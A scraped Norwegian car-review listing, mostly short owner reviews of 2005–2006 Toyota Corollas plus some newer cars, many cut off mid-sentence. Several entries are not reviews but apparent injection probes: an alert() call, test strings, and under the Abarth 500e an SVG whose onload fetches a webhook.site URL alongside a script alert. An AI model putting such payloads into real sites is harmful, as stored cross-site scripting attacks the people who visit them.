Vurdert av gnist
Toyota Corolla (2006)
bilen har vært i familen siden ny den går som bare det. ingen store problemer. bilen brukes mer som en slags "varebil" i dag. veldig driftsikker og eie.
Toyota Corolla (2006)
Veldig kjedelig å lite pen bil, men er aldri feil på denne utgave. Ikke er det partikkelfilter heller så de kostnadene slipper du også. Så er en veldig billig bil å ha.
Toyota Corolla (2006)
Bunnsolid, sprek nok og trygg bil å eie.
Toyota Corolla (2006)
Topp bil for en liten familie, rimelig bilhold, lett kjørt. OBS: Litt svak for rust under, viss mye kjøring på saltede veier.Bør tectyleres og kontrolleres under jevnlig. Bra lakk , ingen lakkrust
Toyota Corolla (2006)
Veldig fornøyd! Var hovedbil i familien inntil 3 år siden. Brukes av meg (pensjonist) til daglig bruk
Toyota Corolla (2006)
Bil som er praktisk for oss. Denne typen produseres ikke mer. Har kjørt 2500 km på 2 dager ( gjennom Sverige ) ikke et eneste klikk. Der fikk jeg prøvd den. PÅ turer ellers , behagelig å kjøre
Toyota Corolla (2006)
Bunnsolid, kvikk og økonomisk!
Toyota Corolla (2006)
Har vært svært fornøyd med denne bilen, en 2006 mod 1,4 bensin i Sol utgave. Aldri hatt noe tull hittil etter 182 000km. Kun skiver og klosser, som har en tendens til og ruste bak. Ingen rust eller
Toyota Corolla (2005)
Totalt sett ikke fornøyd med bil Produsert i Tyrkia
Toyota Corolla (2005)
Kjøpt først for å kun brukes som en bil til en norgesferie. Endt opp med å beholde den og brukes i dag som en bil nr 2. Har kjørt den rundt 70.000km nå. I skrivende stund er bilen passert 180.00
Toyota Corolla (2005)
Da bilen var passert 120 000 km sa girkassen takk for seg! Er lurt og sjekke girkassen på biler med dieselmotor ekstra nøye. Har også hatt vannlekkasje bakerst i bilen pga utette plateskjøter. Und
Toyota Corolla (2005)
En kjedelig, fornuftig, driftsikker og relativt praktisk bil. Kjøpte mitt eksemplar for 60.000 i 2005, den hadde da gått 106.000 KM. Nå, 5 år og 60.000 KM senere, har jeg ikke hatt andre utgifter
Toyota Corolla (2005)
13 år. Denne modellen bare går og går.
Toyota Corolla (2005)
Beste bilen du kan få kjøpt for penger.. Koster meg mer i bomm en bensin og andre utgifter
Toyota Corolla (2005)
God bil med god plass! Enkel og brukervennlig med en spre og drivstoff gjerrig bensinmotor
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km